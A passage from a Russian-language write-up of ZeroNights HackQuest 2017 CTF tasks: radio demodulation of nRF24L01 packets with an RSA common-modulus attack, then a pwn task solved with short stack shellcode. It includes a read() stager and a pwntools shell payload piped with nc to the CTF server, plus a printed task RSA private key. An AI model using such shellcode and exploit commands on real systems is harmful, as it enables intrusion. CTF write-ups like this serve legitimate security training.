switch (reason) {
case DLL_PROCESS_ATTACH:
hackFunctions();
}
return TRUE;
}
Заинжектим её в процесс re_task.exe
и посмотрим несколько первых и последних записей.
Сразу обращаем внимание на регулярное выражение (которое очевидно является преобразованным содержимым data.txt
, поскольку размер в точности совпадает).
Ну и перед самым выводом сообщения о неудаче, видим вызов re.sub
и сравнение с None
.
Такое регулярное выражение уже где-то встречалось (LabyREnth 2016), но там оно было несколько проще и мой солвер оттуда не подходил для решения такой системы. Я решил посмотреть чужие решения и нашел в точности такое-же задание на PlaidCTF 2015.
Берем любой готовый солвер, немного подправляем и скармливаем нашу регулярку.
Спустя несколько часов получаем ответ.
nooyhtortroornehopetrotnnrenohtopyeohnoeyonyrherpo teptooeonoohptppeoprtphprthrhpnnyyprrpnhepoportppr enppeoernnehtynrotyynerttoyeeteepepohhoyrptnhponro tpehooeonptnophoyphnp
Архив со всеми используемыми файлами (task2.py
, task2_packer.py
, re_task.pyc
) ZN2017.7z?.
Day 5. NotSafeAgency
В пятый день было необычное для Hackquest’а задание от Digital Security на демодулирование радиосигнала с последующим решением тривиальной задачи на криптографию. Около 100 человек предприняли попытки подключиться к серверу и получить дамп радиоэфира.
Победители | |
1 место | 2 место |
|
|
Yo dude! Our insider in NSA had set up some strange BUG in the printer. Nobody has seen him since then. His last message was: "They are communicating via strange devices on 2.4". We tried to understand, but failed horrobly. Now it is your turn to figure out what is going on.
The insider gave us access to the BUG: 35.195.97.218:31337 with password "antiNSAradiospy"
Самым простым способом решения задания является использование Universal Radio Hacker (URH). Этот способ мы и рассмотрим.
При подключении к этому сокету видим следующее:
ncat 35.195.97.218 31337
Hey you're entering into secure zone. Enter Password:
Вводим известный нам пароль и получаем сообщение:
Hello! This is NSA_sup3r_r4d1o_h4ck1ng_spy_d3v1c3. Select frequency. Available frequencies (MHz) is: 2401, 2402, 2403, 2404, 2405, 2406, 2407, 2408, 2409, 2410
При выборе любой частоты в консоль "падает" большое количество бинарных данных, поэтому при подключении перенаправим вывод в файл. Таким образом для получения данных с частоты 2401 используем команду:
ncat 35.195.97.218 31337 > 2401_rawdump
antiNSAradiospy
2401
Открыв еще одну консоль можно увидеть как растет размер файла 2401_rawdump
:
18M Nov 2 13:14 2401_rawdump
19M Nov 2 13:14 2401_rawdump
20M Nov 2 13:14 2401_rawdump
21M Nov 2 13:14 2401_rawdump
22M Nov 2 13:14 2401_rawdump
24M Nov 2 13:14 2401_rawdump
27M Nov 2 13:14 2401_rawdump
30M Nov 2 13:14 2401_rawdump
После 30 МБ размер файла уже не увеличивается, что говорит об окончании передачи.
Работа с дампом
По описанию таска, а так же по начальным подсказкам становится понятно, что полученный дамп как-то связан с SDR
. Логично предположить, что это дамп радиоэфира.
Проведя поиск формата записи радиоэфира с которыми работает SDR
можно обнаружить, что дамп является IQ
потоком.
Однко, в текущем виде использовать файл-дамп не получится. Используя hex редактор вырезаем начало
и конец
Теперь можно загрузить файл в URH
Видно, что передача идет частями. Приблизив одну из таких частей необходимо настроить чувствительность к шуму — параметр Noize
.
Увеличив Noze до 0.5500
видно, что большинство помех будут при демодуляции проигнорированны:
Следующим шагом является определнеие времени передачи одного бита. Для этого находим область с периодичным сигналом, затем выделяем сегмент длиной в один период и смотрим на значение определяемое URH. Видим что это 8 мкс. Делаем Bit Length
равным 8
.
Теперь переключаем вид сигнала на демодулированный (Signal View -> Demodulated
).
Подстраивем значение Center
таким образом, чтобы горизонтальная прямая, разделяющая области графика, наиболее точно соответствовала нулевому уровню отсчета.
Переключаем Show Signal as
на Hex
и получаем примерно следующий набор байт:
3c6aaccaaccaaccce2a3434b99034b9903434b73a1031b430b73732b610938000000000000000002c93bc2 [Pause: 1571 samples]
3c055665566556667951a1a5cc81a5cc81d195cdd081b595cdcd859d94b8b89c000000000000000151df85 [Pause: 1183 samples]
f82ab32ab32ab333ca8d0d2e640d2e640e8cae6e840dacae6e6c2ceca5c5c4e0000000000000000a8efc28 [Pause: 1166 samples]
3c655665566556667951a1a5cc81a5cc81d195cdd081b595cdcd859d94b8b89c000000000000000151df85 [Pause: 1564 samples]
3c555995599559998546869732069732074657374206d6573736167652e2e000000000000000000544ebd4 [Pause: 1167 samples]
3e0aaccaaccaacccc2a3434b99034b9903a32b9ba1036b2b9b9b0b3b297170000000000000000002a275ea [Pause: 1167 samples]
3c655665566556666151a1a5cc81a5cc81d195cdd081b595cdcd859d94b8b8000000000000000001513af5 [Pause: 203907 samples]
3c355665566556666949a59da1d081dd85e4848151c9e481a0d1c990cdc88484840000000000000150453d [Pause: 1167 samples]
3c2aaccaaccaacccd2934b3b43a103bb0bc90902a393c90341a393219b9109090800000000000002a08a7a [Pause: 1166 samples]
3c2aaccaaccaacccd2934b3b43a103bb0bc90902a393c90341a393219b9109090800000000000002a08a7a [Pause: 1565 samples]
3c35566556655666710da1958dac8185b9bdd1a195c8818da185b9b995b1cc840000000000000001492655 [Pause: 1167 samples]
3c45566556655666710da1958dac8185b9bdd1a195c8818da185b9b995b1cc840000000000000001492654 [Pause: 1166 samples]
3c0aaccaaccaaccce21b432b1b59030b737ba3432b91031b430b73732b6399080000000000000002924caa [Pause: 1585 samples]
3c35566556655666790d85b881dd9481d185b1ac818589bdd5d081cd958dd5c9a5d1e4fc000000010fa411 [Pause: 1166 samples]
3e0aaccaaccaacccf21b0b7103bb2903a30b6359030b137baba1039b2b1bab934ba3c9f8000000021f4822 [Pause: 1183 samples]
В текущем виде явно прослеживается повторяющаяся начальная последовательность, также можно заметить, что длина пакетов и их состовляющие выглядят одинаковыми.
Для того, чтобы дальше разобрать полученный набор сообщений, необходимо знать их структуру. Одной из подсказок была следующая строка:
these devices are used iN wiReless keyboards and sometimes in Flying drones
Большие буквы тривиально складываются в NRF
. Этот факт, а так же набор каналов о которых говорится в самом начале задания, соответствуют одному конкретному радиомодулю — nrf24l01
. Следовательно, каждое из сообщений есть пакет, переданный этим радиомодулем.
Далее находим спецификацию протокола этого радиомодуля и видим, что внутри используется протокол ShockBurst
. Пакет данных этого протокола выглядит так:
В спецификации описаны возможные варианты преамбулы сообщения: она может быть равна либо aa
(10101010
) либо 55
(01010101
). Следовательно, необходимо отбросить все данные в сообщении до преамбулы. Это можно сделать, используя скрипт, а можно функционалом все того же URH, создав некоторый "фильтр".
Для создания фильтра открываем Edit -> Decoding
. Перетаскиваем из списка Additional Functions
строку Cut before/after
, а в качестве Sequence
пишем прембулу 10101010
. Сохраняем его как cut_aa
.
Для преамбулы 01010101
создаем такой же фильтр, где подставляем соответствующую Sequence
.
Перключаемся на вкладку Analysis
. Выбираем фильтр cut_aa
и применяем.
URH позволяет на лету создавать структуру протокола из потока сообщений. Для этого надо выделить нужное количество столбцов (полу-байт) и нажать Add label
. Используя известную структуру, выделяем преамбулу и адрес (длину адреса можно перебрать, а так же она известна из подсказки).
Далее необходимо выделить поле Packet Control Field
. Интересной особенностью ShockBurst
является тот факт, что поле это занимает 9 бит. Переключаем вид на биты и выделяем 9 столбцов.
Крутой особенностью URH является то, что при обратном переключении вида в байты, они будут отсчитываться с нужным смещением. То есть следующий байт за Packet Control Field
будет считаться из 10го и 11го битов (в нашем случае это столбцы 58 и 59), а не из 9го и 10го!
Далее выделяем payload
и CRC
.
Поменяем режим просмотра с байт на ascii, чтобы поискать какие-то осмысленные строки в payload
.
На картинке выше явно читается строка This is test message
. Это говорит о том, что теперь у нас есть инструмент (URH + фильтр + диссектор протокола), который позволяет разобрать дамп радиоэфира с любого канала, после чего получить некоторый набор читаемых сообщений.
Всего есть 10 каналов, каждый из которых содержит свой уникальный набор сообщений. Однако, для решения задания используются только два канала, еще несколько каналов содержат подсказки, а все остальные, как и 2401, служат лишь для того, чтобы научиться декодировать данные.
2405
На канале 2405
можно обнаружить ссылку на структуру специального протокола, используемого внутри секции paylod
в ShockBurst
. Название протокола Transport for Moving Big Packet
— TMBP
.
Welcome to NSA - Not Safe Agency!
Our transport protocol - TMBP (Transport for Moving Big Packets) is very simple, and it allows you to send big packets via ShockBurst protocol by using NRF24l01 module.
Big packet - it is a packet that is larger than 22 bytes (max size of DATA in one packet), such packet must be fragmented into multiple pieces.
TMBP structure:
| Dest Addr | Src Addr | Stream ID | All len | Cur Offset | DATA |
2 2 2 2 2 22
Dest Addr - 2 bytes of address of a destination host
Src Addr - 2 bytes of address of your host
Stream ID - 2 bytes identification number of a stream which is used to transmit one Big packet
All len - 2 bytes total length of Big packet
Cur Offset - 2 bytes of an offset (how much Big packet's bytes were transmitted including bytes in a current packet)
Destination addresses you can find on the Broadcast channel.
All other parameters will be generated automatically.
Also, you don't need to set up connection between you and a destination host, it will be created automatically.
The only thing you need is a destination address!
TMBP packet is incapsulated into ShockBurst protocol packet in NRF24l01.
NRF24l01 address length is 5 bytes, during connection NRF24l01 address consists of 2 bytes of destination address + 2 bytes of source address + 0x00 byte.
Addresses of Broadcast channels are hardcoded in an intial configuartion and are constant.
Some channels don't use TMBP.
Our channels configuration
2401 - Hint channel
2402 - Open broadcast channel
2403 - Open channel
2404 - Test channel
2405 - Link to transport protocol channel
2406 - Encrypted channel 1
2407 - Encrypted channel 2
2408 - Reserved channel
2409 - Broadcast channel
2410 - History channel
Используя описанную структуру TMBP
, можно детально разбить секцию payload
на соответствующие поля. Это значительно упростит решение в дальнейшем, поскольку далее необходимо будет разобрать данные, которые разбиты на несколько пакетов (секций payload
), являющихся одним непрерывным сообщением (Stream ID
в рамках TMBP
).
2406
Канал 2406 содержит переписку двух человек. Их сообщения при демодуляции выглядят следующим образом:
- Dave to Steve
Steve, I'm confused with all these keys for RSA. Is this is the one that I should use? https://pastebin.com/Di7LyG7Q?
- Steve to Dave
Dave, you are doing it wrong! This channel is only for encrypted messages! Please generate new RSA key pair. To understand how this thing works send me an encrypted message using my public key: https://pastebin.com/eRFbC3BE
- Dave to Steve
Ok Steve, catch encrypted data in next message.
- Dave to Steve
4acea423fbbc878fea55a2c41a9646d5712c670cd910a525ef061cc26f02f10ff9bba6ccf9baad0e99e3064b4512413c0b34e5933d6186f65d4fcda19a7e7a54
Перейдя по ссылкам в сообщениях можно увидеть приватный ключ Дейва
-----BEGIN RSA PRIVATE KEY-----
MIIBcwIBAAJAcCumoSCT6M/MPP7KwjzMT+9IEKWDhb/g+dg0mOFwnZfuvpr2bLC4
d2o1Ej2iG4/L0aJTrN2+kQMWOkRqB3uMZwJANjiCXRz9EWpXSHK+I2u7MQ3ay5D2
Iv5QSXchZ18zeY2j3prNYrUel43XHPbJzYXzYF5zrRHnH59UkY8iXYbQPwJAI/v6
Kwi8101wt0sSWdiUifsABiBtTBoMV/8skRi0EYmICXwvcEPwmFN2JucjNJBYoO2P
HH3sQ65E53g+CPSA/wIg0OcbbzuSkFiPG1kviH74XFOmMNiqQHOQWuw1eoOxuxcC
IIl1nAeixKVa296X84/0kiCXIF/eUsucSPidRVhg8UsxAiA3jAN3PhECl32UMDK6
907+ku8WFDXBuuXucsRplYQGQwIgk6eShjY5YR8uf+Tn6PpTQJYd1ndHjVlnYRTJ
mjLjZvMCIIk7ZVY75SN3/xkoIGWM28aesFucWtKInmp0EoblvTOH
-----END RSA PRIVATE KEY-----
И открытый ключ Стива
-----BEGIN PUBLIC KEY-----
MIGaMA0GCSqGSIb3DQEBAQUAA4GIADCBhAJAcCumoSCT6M/MPP7KwjzMT+9IEKWD
hb/g+dg0mOFwnZfuvpr2bLC4d2o1Ej2iG4/L0aJTrN2+kQMWOkRqB3uMZwJAQui2
EbKYnqOAk6/dWzJPBUFeAX7Jl5rMj0QLCjAf51JdiX1A9DtKN27fH0MQ1X7zMvHm
4RojILm9moV9ut+S1w==
-----END PUBLIC KEY-----
Заголовки ключей говрят о том, что они соотствуют формату PKCS#1
. Используя openssl
или любую другую утилиту, можно увидеть, что модуль RSA, используемый в каждом из этих ключей, одинаковый, а значит возможна атака на основе общего модуля RSA.
Проведя атаку, находим закрытый ключ Стива и расшифровываем последнее сообщение Дейва:
flag{stup1d_ns4_h4ck1ng_dev1ce_zn2017}
Альтернативное решение
Также возможен другой способ решения таска, который подошел бы тем, кто обладает своим SDR
устройством и радиомодулем NRF24l01
.
Поток, получаемый с сервера, можно без проблем проигрывать на указанной частоте, используя SDR
, например hackRF
или bladeRF
. Затем необходимо настроить NRF
так, чтобы он принимал поток и выводил полученные данные.
Единственная заминка в том, что для настройки NRF
на прием данных нужно знать адрес, на который отправляются данные в протоколе ShockBurst
. Здесь есть два пути решения:
- Первый — также софтверно демодулировать и декодировать сигнал, и получить только адрес без разбора дальнейших данных внутри пакета.
- Второй — воспользоваться известным трюком, который позволяет использовать
NRF24l01
вpromiscuous
режиме. Про данную особенность этих модулей было рассказано уже не один раз. Заключается она в следующем:
- Во-первых, как уже говорилось выше, в протоколе
ShockBurst
перед адресом идет один байт преамбулы вида0xAA
или0x55
(в зависимости от последующего адреса). Однако, преамбула никак не учитывается при дальнейшем разборе пакета радиомодулем. - Во-вторых, используемый адрес можно установить длиной 2 байта, несмотря на спецификацию.
- В-третьих, шум перед началом пакета может восприниматься радиомодулем как байт
0x00
. Таким образом, достаточно установить адрес0x00AA
или0x0055
в принимающий радиомодуль и он будет работать в некоем подобииpromiscuous
режима, который позволит снифать часть пакетов.
- Во-первых, как уже говорилось выше, в протоколе
Поснифав пакеты, можно узнать реальный адрес, который используется в передаче, затем просто настроить NRF
на этот адрес и получать все данные. Получив все декодированные данные со всех каналов, можно переходить ко второй части таска.
Day 6. Strange command server
Задача на pwn от RuCTFe, где необходимо было написать специальный шелл-код, исполнив который на сервере, можно было прочитать флаг. Символично, что именно шесть человек смогли решить это задние.
Победители | ||
1 место | 2 место | 3 место |
|
|
|
Также решили: okob2008
, Kurlikasd
, mcstarpro
TL;DR: 7 байт от одного числа достаточно для read(0, stack, big_N)
, чтобы дослать новый код и вызвать командную оболочку. Но первое рабочее решение было устроено сложней...
Задача
Day 6 / Strange command server
Some server receives commands in a very strange format. We have some command for it and its sources.
It is located on ? nc spbctf.ppctf.net 5353
Get the flag!
Структура
- Краткое описание решения
- Использованные инструменты
- Полезные идеи
- Подробное решение с полными командами
Содержимое hq2017_task6_test.txt
:
5
13644205794.0 385557128.099 -566484950.0 -385556280.099 -12510807118.0
hq2017_task6_m116
— не исходный код, а бинарный файл:
$ file hq2017_task6_m116
hq2017_task6_m116: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, stripped
$ sha256sum hq2017_task6_m116
65d94868039be955bbb7774b4dea01d7404ce3bda6250343a109900b5dd68007 hq2017_task6_m116
Краткое описание решения
Нам дано два файла: текстовый файл с числами и ELF для Linux x86-64 (спасибо утилите file). Текстовый файл очень простой. Сразу видно, что первое число — количество следующих чисел. ELF маленький, это приятно. Сразу пробуем декомпилировать его при помощи snowman — результат запутанный. Дизассемблируем код при помощи objdump — результат запутанный: есть много ненужных прыжков.
Наиболее перспективным кажется не использовать статический анализ, а попробовать понять, что происходит, методом чёрного ящика: если там есть перекодирование, то надо найти выходной буфер и посмотреть значения для разных значений ввода. Хотя сначала надо понять, что вообще происходит: как backdoor выполняет команды? Там интерпретатор?
Пробуем запустить в виртуальной машине с тестовым вводом из данного нам текстового файла — работает, выводит "cafebabe". Но в коде нет "cafebabe". Запускаем сбор трейса для тестового ввода, следя только за jmp и call инструкциями. В трейсе явно выделяется необычная инструкция: callq *-0x20(%rbp)
, хотя есть и другие странности.
Пробуем менять ввод. Добавляем 1 к последней цифре последнего числа — ничего не изменилось. Убираем первую цифру последнего числа — краш с SIGILL
. Это интересно! Запускаем под gdb и повторяем ввод: адрес инструкции, на которой программа получает SIGILL
, находится в стеке. Запускаем checksec
: NX
выключен. Ставим breakpoint на ту странную инструкцию, делаем 1 шаг по инструкциям и оказываемся как раз в том буфере в стеке, где программа крашится. Всё сошлось: наш ввод перекодируется в бинарный код и выполняется. Несмотря на то, что буфер в стеке, его адрес легко задать для дебаггера: это rip ($pc) после выполнения той необычной инструкции.
Для ускорения анализа нам потребуется команда, чтобы прогонять под gdb программу с заданным вводом и выводить 16 байт от начала буфера. Пробуем менять количество чисел: во-первых, мы можем не давать все числа и программа не ждёт ввода до первого срабатывания breakpoint'а, во-вторых, количество чисел лежит в стеке через 4 байта после нашего буфера. Пробуем при количестве 4 давать разные значения одного числа: если подавать маленькие числа подряд, то видно, что в буфере получается целое число в 6 раз меньше заданного; если пробовать увеличивать ввод, то это преобразование сохраняется.
Так что грубая оценка количество контролируемых байт такая: 8 байт в буфере и, возможно, ещё 8 байт через количество элементов, но потребуется прыжок; итого — где-то 16 байт кода. 16 байт — маловато для вызова командной оболочки (без модификаций шеллкода), но вполне достаточно, чтобы использовать системный вызов read, чтобы записать новый код, который уже вызовет командную оболочку.
Пробуем указать очень большое количество чисел — получаем SIGSEGV, так что оценка неточная. Нужен короткий код вызова read. Например, shellcode на 8 байт:
push rdx ; pop rax
— копируем ноль из rdx в rax через стек,pop rdx
— в rdx кладём большое число из стека,pop rsi
— в rsi кладём адрес буфера, который тоже оказался в стеке,push rbx ; pop rdi
— копируем ноль из rbx в rdi через стек,syscall
— задействуем системный вызов.
Это должно влезть в одно число, но выясняется, что младший байт из 8 не может быть произвольным. Так что реально мы контролируем только 7 байт в первом куске.
У нас возможность положить часть кода недалеко от буфера, указав другое количество чисел. Но нам нужен прыжок между частями. Короткий прыжок занимает 2 байта. Отделяем последние 3 байта кода (pop rdi ; syscall
). Количество чисел не надо кодировать, так что нужное значение — 331615. Но количество чисел влияет на кодирование кода в самих числах. Попробуем угадать делитель — 331615 * 2: старшие байты в буфере такие, как надо, а младшие — нет. Младшие байты легко подобрать половинным делением.
Теперь нужен код, который будет выполняться дальше. Нужный shellcode есть в pwntools. Но в момент записи нового кода выполнение уже на конце буфера, а пишем мы с самого начала, так что первые байты нового ввода не будут выполнены. Можно дополнить shellcode инструкциями nop: даже если ошибиться с количеством, они приведут выполнение в нужное место.
И вот наша награда:
user@ctf:~$ printf '331615\n1105016229177322000000.0\n' > input
user@ctf:~$ python -c 'from pwn import *; context.arch = "x86_64"; print asm("nop") * 200 + asm(shellcraft.amd64.linux.sh())' > payload
user@ctf:~$ (cat input; sleep 1; cat payload; sleep 1; echo ls) | nc spbctf.ppctf.net 5353
flag.txt
m116
run.sh
run_image.sh
runserver.sh
^C
user@ctf:~$ (cat input; sleep 1; cat payload; sleep 1; echo cat flag.txt) | nc spbctf.ppctf.net 5353
H0P3_U_3Nj0Y3D_OU12_OBFUSKATOR
Флаг был получен с сервера и отправлен на сайт через 3 часа 51 минуту после официального начала.
Однако это решение можно упростить: инструкция 'xchg eax, edx' обнуляет rax целиком в один байт вместо двух и можно обойтись без использования количества чисел и прыжка между частями. Пример ввода: 2 2848553957111076.0. Так же это может позволить избавиться от использования чисел в стеке.
Использованные инструменты
Все использованные инструменты являются свободным программным обеспечением. Всё, кроме snowman, pwntools и ROPgadget, доступно в Debian из стандартного репозитория и ставится "в два клика".
- виртуальная машина с Debian — чтобы не запускать код у себя,
file
— для определения типа файла,strings
— для просмотра строк в бинарных файлах (не помогло),snowman
— для декомпиляции кода (не помогло),objdump
— для дизассемблирования кода,readelf
— для определения точки входа программы,strace
иltrace
— для простого исследования поведения программы (не помогло),gdb
— для исследования поведения программы вручную, записи трейса и отладки решения,python
— для разных вещей, включая использование pwntools,pwntools
:
asm()
— для ассемблирования shellcode'а,disasm()
— для исследования своего shellcode'а,shellcraft.amd64.linux.sh()
— для получения стандартного shellcode'а для вызова командной оболочки,
Perl
,cat
,sed
,grep
и другие стандартные утилиты, а так же встроенные команды оболочки bash — для организации всего и мелкой автоматизации,ROPgadget
— для поиска дополнительного кода в дампе стека (не помогло),man 2 read
— для просмотра документации по системному вызову read,emacs
— для ведения записок и управления терминалами через shell-mode.
Полезные идеи
- CTF'ы — потрясающая среда для самообучения с игрофикацией и соревновательным элементом. Про это есть даже отдельные доклады. Сейчас онлайн CTF'ы проходят почти каждую неделю.
- ZeroNights HackQuest — конкурс с уникальным форматом: даётся 1 сложная интересная задача в день и каждый день можно стать победителем. В процессе решения реально многому научиться. Задачи в HackQuest'е выталкивают решающего на совершенно новый уровень. Это особенное чувство!
- Выключенный NX — это хорошо для атакующего.
- В части задач проще определить связь между входом и выходом кода по значениям, нежели по коду. В части случаев можно подобрать вход для желаемого выхода, не понимая связь. Однако это требует понимания, где выход (а иногда и понимая, где вход).
- Обычный shellcode относительно большой, потому что не зависит от окружения. Используя имеющиеся значения регистров и чисел в стеке, его можно сильно сократить.
- Если мы управляем 6-8 байтами кода и нам чуть-чуть повезло с окружением (регистры и/или стек), то мы уже можем сделать системный вызов read. Если ввод не закрыт, это даёт много возможностей.
- Имея произвольный read и возможность записи кода, можно дослать shellcode для вызова командной оболочки.
- Новый shellcode можно записать поверх старого кода и продолжить выполнение в новом коде без каких-либо дополнительных инструкций.
- Имея произвольный read и не имея возможности записи нового кода, можно попробовать записать ROP-chain в стек (например, для задачи tiny backdoor v2 в HackOver CTF 2016).
- Простая автоматизация gdb:
printf '...' > input && printf 'run < input \n ...' | gdb ...
- Простой трейсер с gdb (не всегда применим, потому что цикл может завершиться досрочно):
printf '... \n while 1 \n x/1i $pc \n si \n end \n' | gdb ...
- shellcode можно разбить на части, соединённые прыжками. Короткий прыжок вперёд (пропуская до 127 байт) занимает 2 байта. Прыжок можно ассемблировать при помощи pwntools, используя метку и nop'ы на месте "мусора", который пропускается. Прыжок через 1 байт:
asm('jmp L ; nop ; L: nop')
, nop'ы потом надо обрезать. - Примерный список однобайтовых инструкций можно получить перебором с pwntools:
for i in range(256): print disasm(chr(i))
xchg eax, edx
на x86-64 занимает 1 байт. Помимо очевидного действия эта инструкция обнуляет старшую половину rax (и rdx). Так что при rdx равном 0 это обнуляет rax.
Подробное решение с полными командами
В примерах ниже вывод сокращён до нужного. Символы табуляции могут быть заменены на пробелы. Так же могут быть пропущены пустые строки. hq2017_task6_m116
переименовано в m1
. По сравнению с реальным решением, команды немного улучшены, чтобы быть более переносимыми, но не все переносимы. К сожалению, длинные one-liner'ы выглядят не лучшим образом в браузере (можно выключить стили или посмотреть текстовую версию).
Ищем точку входа:
user@ctf:~$ readelf -a m1
...
Entry point address: 0x400710
...
Собираем трейс:
user@ctf:~$ printf 'break *0x400710 \n set pagination off \n run < hq2017_task6_test.txt \n while 1 \n x/1i $pc \n si \n end' | gdb ./m1 | grep -e call -e jmp
...
=> 0x4009ae: callq *-0x20(%rbp)
...
=> 0x400ac8: callq 0x4006a0 <printf@plt>
...
Смотрим аргумент printf'а:
user@ctf:~$ gdb ./m1
...
(gdb) break printf
Breakpoint 1 at 0x4006a0
(gdb) run < hq2017_task6_test.txt
...
Breakpoint 1, __printf (format=0x6021b7 "%x\n") at printf.c:28
(gdb) info regi
...
rsi 0xcafebabe 3405691582
rdi 0x6021b7 6300087
...
(gdb) finish
Run till exit from #0 __printf (format=0x6021b7 "%x\n") at printf.c:28
cafebabe
0x0000000000400acd in ?? ()
...
Изучаем SIGILL, удалив первую цифру последнего числа:
user@ctf:~$ printf '5\n13644205794.0 385557128.099 -566484950.0 -385556280.099 -2510807118.0\n' > input && printf 'set pagination off \n run < input \n info regis \n x/10i $pc \n' | gdb ./m1
...
Program received signal SIGILL, Illegal instruction.
...
rip 0x7fffffffe58a 0x7fffffffe58a
...
(gdb) => 0x7fffffffe58a: (bad)
0x7fffffffe58b: rex.WX retq
0x7fffffffe58d: retq
Пробуем подойти к этому через ту странную инструкцию
0x4009ae: callq *-0x20(%rbp)
user@ctf:~$ printf '5\n13644205794.0 385557128.099 -566484950.0 -385556280.099 -2510807118.0\n' > input && printf 'set pagination off \n break *0x4009ae \n run < input \n si \n info regis \n x/10i $pc \n' | gdb ./m1
...
Breakpoint 1, 0x00000000004009ae in ?? ()
...
rip 0x7fffffffe588 0x7fffffffe588
...
(gdb) => 0x7fffffffe588: mov $0x4e,%cl
0x7fffffffe58a: (bad)
0x7fffffffe58b: rex.WX retq
0x7fffffffe58d: retq
Так что 0x7fffffffe588
выше — адрес нашего буфера в стеке (может различаться на разных системах). Посмотрим, где он находится, полагаясь на то, что gdb обеспечивает стабильные адреса. Он находится в стеке, так что сделаем дамп стека.
user@ctf:~$ gdb ./m1
...
(gdb) run
Starting program: /home/user/m1
^C
...
(gdb) info proc
process 26241
...
(gdb) ! cat /proc/26241/maps
...
7ffffffde000-7ffffffff000 rwxp 00000000 00:00 0 [stack]
...
(gdb) p 0x7fffffffe588 > 0x7ffffffde000 && 0x7fffffffe588 < 0x7ffffffff000
$1 = 1
(gdb) dump binary memory bin01 0x7ffffffde000 0x7fffffffefff
...
Вызов ROPgadget для дампа (хотя это не нужно для решения):
user@ctf:~$ ~/.local/bin/ROPgadget --binary bin01 --rawMode=64 --rawArch=x86
...
Смотрим checksec: NX выключен.
user@ctf:~$ ./checksec.sh/checksec --format json --file m1
...,"nx":"no",...
Автоматизируем показ выходного буфера с кодом и пробуем менять указанное количество чисел (0x4142 == 16706):
user@ctf:~$ printf '5\n0.0\n' > input && printf 'set pagination off \n break *0x4009ae \n run < input \n si \n x/16xb $pc \n' | gdb ./m1 | sed -e 's/(gdb) //; s/\t/ /g' | grep '^0x[a-f0-9]\+:'
0x7fffffffe588: 0x00 0xc3 0xc3 0xc3 0x00 0x00 0x00 0x00
0x7fffffffe590: 0xd1 0xe0 0xff 0xff 0x05 0x00 0x00 0x00
user@ctf:~$ printf '4\n0.0\n' ...
0x7fffffffe588: 0x00 0xc3 0xc3 0xc3 0x00 0x00 0x00 0x00
0x7fffffffe590: 0xd1 0xe0 0xff 0xff 0x04 0x00 0x00 0x00
user@ctf:~$ printf '16706\n0.0\n' ...
0x7fffffffe588: 0x00 0xc3 0xc3 0xc3 0x00 0x00 0x00 0x00
0x7fffffffe590: 0xd5 0xe0 0xff 0xff 0x42 0x41 0x00 0x00
Пробуем одно число с количеством чисел 4. Легко заметить, что значение в буфере растёт на 1 при увеличении ввода на 6.
user@ctf:~$ seq 1000 | while read -r a; do printf '4\n%s.0\n' "$a" > input && printf 'set pagination off \n break *0x4009ae \n run < input \n si \n x/8xb $pc \n' | gdb ./m1 | sed -e 's/(gdb) //; s/\t/ /g' | grep '^0x[a-f0-9]\+:' ; done
0x7fffffffe588: 0x00 0xc3 0xc3 0xc3 0x00 0x00 0x00 0x00
0x7fffffffe588: 0x00 0xc3 0xc3 0xc3 0x00 0x00 0x00 0x00
0x7fffffffe588: 0x01 0xc3 0xc3 0xc3 0x00 0x00 0x00 0x00
0x7fffffffe588: 0x01 0xc3 0xc3 0xc3 0x00 0x00 0x00 0x00
0x7fffffffe588: 0x01 0xc3 0xc3 0xc3 0x00 0x00 0x00 0x00
0x7fffffffe588: 0x01 0xc3 0xc3 0xc3 0x00 0x00 0x00 0x00
0x7fffffffe588: 0x01 0xc3 0xc3 0xc3 0x00 0x00 0x00 0x00
0x7fffffffe588: 0x01 0xc3 0xc3 0xc3 0x00 0x00 0x00 0x00
0x7fffffffe588: 0x02 0xc3 0xc3 0xc3 0x00 0x00 0x00 0x00
...
Пробуем ещё числа вручную. Даже с 7 байтами у нас появляется небольшое расхождение с ожидаемым значением. (Вывод перемешан с умножением в оболочке Python)
user@ctf:~$ while read -r a; do printf '4\n%s.0\n' "$a" > input && printf 'set pagination off \n break *0x4009ae \n run < input \n si \n x/8xb $pc \n' | gdb ./m1 | sed -e 's/(gdb) //; s/\t/ /g' | grep '^0x[a-f0-9]\+:' ; done
>>> 0x41 * 6
390
0x7fffffffe588: 0x41 0xc3 0xc3 0xc3 0x00 0x00 0x00 0x00
>>> 0x4142 * 6
100236
0x7fffffffe588: 0x42 0x41 0xc3 0xc3 0xc3 0x00 0x00 0x00
>>> 0x414243 * 6
25660818
0x7fffffffe588: 0x43 0x42 0x41 0xc3 0xc3 0xc3 0x00 0x00
>>> 0x41424344 * 6
6569169816
0x7fffffffe588: 0x44 0x43 0x42 0x41 0xc3 0xc3 0xc3 0x00
>>> 0x4142434445 * 6
1681707473310
0x7fffffffe588: 0x45 0x44 0x43 0x42 0x41 0xc3 0xc3 0xc3
>>> 0x414243444546 * 6
430517113167780
0x7fffffffe588: 0x46 0x45 0x44 0x43 0x42 0x41 0xc3 0xc3
>>> 0x41424344454647 * 6
110212380970952106
0x7fffffffe588: 0x48 0x46 0x45 0x44 0x43 0x42 0x41 0x00
>>> 0x4142434445464748 * 6
28214369528563739568L
0x7fffffffe588: 0x00 0x48 0x46 0x45 0x44 0x43 0x42 0x41
>>> 0x1234567890112233 * 6
7870610803708579122
0x7fffffffe588: 0x00 0x22 0x11 0x90 0x78 0x56 0x34 0x12
Для разработки shellcode'а, использующего контекст, нам понадобятся значения регистров и содержимое стека.
user@ctf:~$ printf '4\n1.0\n' > input && printf 'set pagination off \n break *0x4009ae \n run < input \n si \n x/4xg $rsp \n info reg \n' | gdb ./m1 | sed -e 's/(gdb) //'
...
0x00007fffffffe588 in ?? ()
0x7fffffffe528: 0x00000000004009b1 0x00007fffffffe588
0x7fffffffe538: 0x3fc5555555555555 0x000000000000007c
rax 0x7fffffffe500 140737488348416
rbx 0x0 0
rcx 0xc3c3c300 3284386560
rdx 0x0 0
rsi 0x7fffffffe6d0 140737488348880
rdi 0x400710 4196112
rbp 0x7fffffffe5a0 0x7fffffffe5a0
rsp 0x7fffffffe528 0x7fffffffe528
r8 0x0 0
r9 0x7ffff787ec60 140737346268256
r10 0x7fffffffe2f0 140737488347888
r11 0x7ffff7b01530 140737348900144
r12 0x400710 4196112
r13 0x7fffffffe6d0 140737488348880
r14 0x0 0
r15 0x0 0
rip 0x7fffffffe588 0x7fffffffe588
...
Первые два значения в стеке: 0x00000000004009b1
— адрес возврата из shellcode'а, 0x00007fffffffe588
— адрес буфера с нашим кодом.
